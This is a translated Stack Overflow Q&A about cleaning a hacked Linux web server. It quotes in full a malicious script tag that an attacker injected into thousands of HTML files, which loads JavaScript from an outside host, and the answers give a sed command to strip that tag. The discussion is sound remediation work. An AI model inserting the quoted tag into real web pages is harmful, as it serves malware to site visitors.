【问题标题】:Search for a large piece of string with special characters in several files and replace在多个文件中搜索一大段带有特殊字符的字符串并替换
【发布时间】:2013-08-10 09:06:02
【问题描述】:

我的服务器本周被感染,攻击者运行了一个脚本,将一个脚本注入了多个文件,现在我的域被列入了谷歌黑名单。

注入的代码是这样的:

<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script>

小心!这是一个恶意软件!

所以,我运行了这个命令(这是一个 linux 服务器):

grep -r "sexfromindia.com" /home/mydomain/public_html/

这个命令返回了 9941 个文件:/

我想运行一个脚本来搜索&lt;script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js type="text/javascript"&gt;&lt;/script&gt; 并将其替换为“”(双空格)。由于所有受感染的文件都在 .html 中,因此双空格不会造成任何损害。

现在,并非所有文件都被感染,只有 9941 个(大约 50%)。

我应该如何清理这个烂摊子?我应该使用 awk、sed、grep、perl 吗? 谁能举个例子?

谢谢。

【问题讨论】:

    标签: linux sed grep replace


    【解决方案1】:

    我很想采取更严厉的措施,以防万一也发生了更狡猾的事情。

    也就是说,似乎 sed 是这种方法。以下是搜索文本并替换整行的示例:Replace whole line containing a string using Sed

    您可能希望在几个文件上测试您的脚本,并在开始更改之前备份所有内容。

    【讨论】:

      【解决方案2】:

      您可以使用 sed 脚本和命令:

      sed -i.bak -f script.sed file[s]
      

      script.sed

      s#<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script>#""#g
      

      -i 用于 就地编辑 并带有备份。

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 2018-08-20
        • 2012-03-14
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2020-07-12
        • 2011-05-12
        • 2020-01-06
        相关资源
        最近更新 更多